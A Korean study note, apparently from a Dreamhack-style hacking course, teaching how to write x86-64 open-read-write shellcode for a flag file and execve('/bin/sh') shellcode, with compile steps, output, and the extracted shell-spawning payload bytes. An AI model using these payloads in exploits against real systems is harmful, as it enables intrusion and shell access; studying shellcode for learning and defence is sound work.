- Exploit
상대 시스템을 공격하는 것
"부당하게 이용하다" 라는 뜻
셸코드는 익스플로잇을 위해 제작된 어셈블리 코드 조각이다.
일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용하기 때문에 특별히 "셸" 이 접두사로 붙은 것!!
셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다.
이번 코드에서는 파일 읽고 쓰기, 셸 획득 과 관련된 셸코드를 작성해볼 것이다.
orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.
이번 코드에서는 "/tmp/flag" 를 읽는 셸코드를 작성해볼 것이다.
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
orw 셸코드를 작성하기 위해 알아야 하는 syscall 은 아래와 같다.
syscall | rax | rdi | dsi | rdx |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
open()
int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode);
- open() 시스템 콜은 pathname 으로 특정된 파일을 연다.
- open() 의 반환값은 정수로 표현되는 file descriptor 이다.
- file descriptor 는 read(), write() 등의 시스템 콜에서 사용된다.
read()
ssize_t read(int fd, void *buf, size_t count);
- read()는 fd file descriptor 로부터 count 만큼의 바이트를 buf 로 가져오는 시스템 콜이다.
write()
ssize_t write(int fd, const void *buf, size_t count);
- write() 는 buf 에서 count 만큼의 바이트를 fd 가 참조하는 파일에 작성한다.
file descriptor
- 파일 디스크립터는 리눅스 혹은 유닉스 계열의 시스템의 프로세스에서 특정 파일에 접근할 때 사용하는 추상적인 값이다.
- 파일 디스크립터는 일반적으로 0이 아닌 정수값을 갖는다.
- 표준입력, 표준출력, 표준에러에는 각각 0, 1, 2라는 정수가 할당된다.
syscall | rax | rdi | dsi | rdx |
---|---|---|---|---|
open | 0x02 | const char *filename | int flags | umode_t mode |
첫번째로 할 일은 "/tmp/flag" 라는 문자열을 메모리에 위치시키는 것이다.
2) 그리고 rdi(첫번째 인자) 가 이를 가리키도록 rsp 를 rdi로 옮긴다.
O_RDONLY 는 0이므로 rsi는 0으로 설정
파일을 읽을 때 mode 는 의미를 갖지 않으므로, rdx는 0으로 설정
마지막으로 rax 를 open 의 syscall 값인 2로 설정
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
syscall | rax | rdi | dsi | rdx |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
syscall 의 반환값은 rax 로 저장된다. 따라서 open 으로 획득한 /tmp/flag 의 fd 는 rax 에 저장된다.
read 의 첫번째 인자를 fd 값으로 설정해야되므로, rax 를 rdi에 대입
rsi 는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30 만큼 읽을 것이므로 rsi 에 rsp-0x30 을 대입
rdx 는 파일로부터 읽어낼 데이터의 길이인 0x30 으로 설정
read 시스템콜을 호출하기 위해서 rax 를 0으로 설정
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
syscall | rax | rdi | dsi | rdx |
---|---|---|---|---|
write | 0x01 | unsigned int fd | const char *buf | size_t count |
출력은 stdout 으로 할 것이므로, rdi 를 0x1로 설정
rsi 와 rdx 는 read 에서 사용한 값을 그대로 사용
write 시스템콜을 호출하기 위해서 rax 를 1로 설정
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다.
윈도우의 PE, 리눅스의 ELF 가 대표적인 예이다.
ELF(Executable and Linkable Format)
- 리눅스 운영체제에서의 실행 파일 형식
- 크게 헤더와 코드, 기타 데이터로 구성
- 헤더에는 실행에 필요한 여러 정보가 적혀있고, 코드에는 CPU 가 이해할 수 있는 기계어 코드가 있다.
위에서 작성한 셸코드 orw.S 는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나, ELF 형식이 아니므로 리눅스에서 실행될 수는 없다.
실행을 위해서는 컴파일러를 통해 ELF 형식으로 만들어야한다.
셸코드를 실행할 수 있는 스켈레톤 코드를 C 언어로 작성하고, 거기에 셸코드를 탐재하는 방법으로 컴파일 진행
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일 생성
echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag
orw.c 컴파일 후 실행
gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U
셸(shell) 이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널 이라고 하는 것과 대비됨.
셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.
execve 셸코드는 execve 시스템 콜만으로 구성된다.
syscall | rax | rdi | dsi | rdx |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
여기서 argv 는 실행파일에 넘겨줄 인자, envp 는 환경변수이다.
여기에서는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
마지막으로, 작성한 shellcode 를 byte code(opcode) 형태로 추출하는 방법을 알아보겠다.
아래 주어진 shellcode.asm 에 대해서 이를 바이트 코드로 바꾸는 과정이다.
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"